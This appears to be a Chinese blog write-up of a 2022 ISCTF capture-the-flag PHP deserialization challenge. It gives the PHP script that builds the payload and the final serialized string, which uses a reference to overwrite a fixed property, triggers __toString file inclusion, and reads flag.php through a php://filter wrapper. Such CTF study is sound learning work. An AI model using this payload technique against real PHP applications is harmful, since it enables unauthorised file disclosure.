记录2022-ISCTF有意思的题目

猫和老鼠

 当时不会的点在于cat类的$a不会给他重新赋值,看到一个大佬的思路这里重新整理一下

首先mouse类有个__tostring方法,里面有个包含,可以想到文件包含。只要能调用这个类就可以利用了。

cat的$a被写死了,因此要想怎么给他绕过指向dog类的限制

payload:

<?php

class mouse
{
    public $v;

    public function __construct()
    {
        $this->v = 'php://filter/convert.base64-encode/resource=flag.php';
    }

}


class cat
{
    public $a;
    public $b;
    public $c;
    public function __construct()
    {
        $this->b = &$this->a;
        $this->c = new mouse();
    }
}

$abc = new cat();
echo serialize($abc);

        大佬的payload,整理在mouse类和cat类重新给变量赋值了,mouse里面用了个php://伪协议流读flag,cat里面的b变量指向a的空间地址,也就是b变成了一个指针变量,此时给b赋值就是给a赋值,重新把a原本的dog类覆盖了。然后c赋值为mouse类(tql!!!)最终用die()输出a,die()和echo一样输出字符串,这样子就触发mouse类中的__tostring魔术方法。完美!

        反思:没想到用指针变量赋值,payload也不会写得这么好。

最终payload:

O:3:"cat":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";O:5:"mouse":1:{s:1:"v";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值